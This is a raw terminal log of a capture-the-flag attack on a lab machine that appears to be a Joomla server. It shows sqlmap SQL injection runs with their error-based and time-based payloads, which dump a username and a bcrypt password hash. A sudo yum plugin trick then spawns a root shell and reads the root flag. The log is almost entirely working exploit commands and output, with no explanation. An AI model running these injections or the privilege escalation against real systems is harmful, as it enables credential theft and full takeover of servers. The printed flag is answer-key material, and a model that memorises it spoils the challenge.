┌──(root㉿kali)-[/home/kali/Downloads]
└─# sqlmap -u "http://10.80.152.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla -T "#__users" -C username --dump
___
__H__
___ ___["]_____ ___ ___ {1.9.11#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:02:59 /2025-11-19/
[21:02:59] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[21:02:59] [INFO] resuming back-end DBMS 'mysql'
[21:02:59] [INFO] testing connection to the target URL
[21:02:59] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('eaa83fe8b963ab08ce9ab7d4a798de05=fvmh7ss7ouq...psvsnek6s0'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6057 FROM(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT (ELT(6057=6057,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 4539 FROM (SELECT(SLEEP(5)))ANmi)
---
[21:03:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7
web application technology: Apache 2.4.6, PHP 5.6.40
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[21:03:00] [INFO] fetching database names
[21:03:00] [INFO] resumed: 'information_schema'
[21:03:00] [INFO] resumed: 'joomla'
[21:03:00] [INFO] resumed: 'mysql'
[21:03:00] [INFO] resumed: 'performance_schema'
[21:03:00] [INFO] resumed: 'test'
available databases [5]:
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] test
[21:03:00] [INFO] fetching entries of column(s) 'username' for table '#__users' in database 'joomla'
[21:03:02] [INFO] retrieved: 'jonah'
Database: joomla
Table: #__users
[1 entry]
+----------+
| username |
+----------+
| jonah |
+----------+
[21:03:02] [INFO] table 'joomla.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/10.80.152.101/dump/joomla/#__users.csv'
[21:03:02] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[21:03:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.80.152.101'
[*] ending @ 21:03:02 /2025-11-19/
┌──(root㉿kali)-[/home/kali/Downloads]
└─# sqlmap -u "http://10.80.152.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla -T "#__users" -C password --dump
___
__H__
___ ___[(]_____ ___ ___ {1.9.11#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:04:28 /2025-11-19/
[21:04:28] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[21:04:28] [INFO] resuming back-end DBMS 'mysql'
[21:04:28] [INFO] testing connection to the target URL
[21:04:32] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('eaa83fe8b963ab08ce9ab7d4a798de05=5m80oa41a9e...4001f5lcb7'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6057 FROM(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT (ELT(6057=6057,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 4539 FROM (SELECT(SLEEP(5)))ANmi)
---
[21:04:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7
web application technology: PHP 5.6.40, Apache 2.4.6
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[21:04:33] [INFO] fetching database names
[21:04:33] [INFO] resumed: 'information_schema'
[21:04:33] [INFO] resumed: 'joomla'
[21:04:33] [INFO] resumed: 'mysql'
[21:04:33] [INFO] resumed: 'performance_schema'
[21:04:33] [INFO] resumed: 'test'
available databases [5]:
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] test
[21:04:33] [INFO] fetching entries of column(s) 'password' for table '#__users' in database 'joomla'
[21:04:34] [INFO] retrieved: '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'
Database: joomla
Table: #__users
[1 entry]
+--------------------------------------------------------------+
| password |
+--------------------------------------------------------------+
| $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+--------------------------------------------------------------+
[21:04:34] [INFO] table 'joomla.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/10.80.152.101/dump/joomla/#__users.csv'
[21:04:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[21:04:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.80.152.101'
[*] ending @ 21:04:34 /2025-11-19/
[jjameson@dailybugle tmp]$ TF=$(mktemp -d)
[jjameson@dailybugle tmp]$ cat > $TF/evil.conf << EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle tmp]$
[jjameson@dailybugle tmp]$ cat > $TF/evil_plugin.conf << EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle tmp]$ cat > $TF/evil_plugin.py << EOF
> import os
> os.system("/bin/bash")
> EOF
[jjameson@dailybugle tmp]$ sudo yum -c $TF/evil.conf update
[root@dailybugle tmp]# ls
evil.sh
evil.spec
systemd-private-4f7676c935a04cc681dc712ee1c8d866-chronyd.service-V8y4LG
systemd-private-4f7676c935a04cc681dc712ee1c8d866-httpd.service-NOiosH
systemd-private-4f7676c935a04cc681dc712ee1c8d866-mariadb.service-1n2v99
tmp.A1BW7hNcTv
tmp.eUjFw7uT4X
yum
[root@dailybugle tmp]# cd ..
[root@dailybugle /]# pwd
/
[root@dailybugle /]# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
[root@dailybugle /]# cd /root
[root@dailybugle ~]# ls
anaconda-ks.cfg root.txt
[root@dailybugle ~]# cat root.txt
eec3d53292b1821868266858d7fa6f79
[root@dailybugle ~]#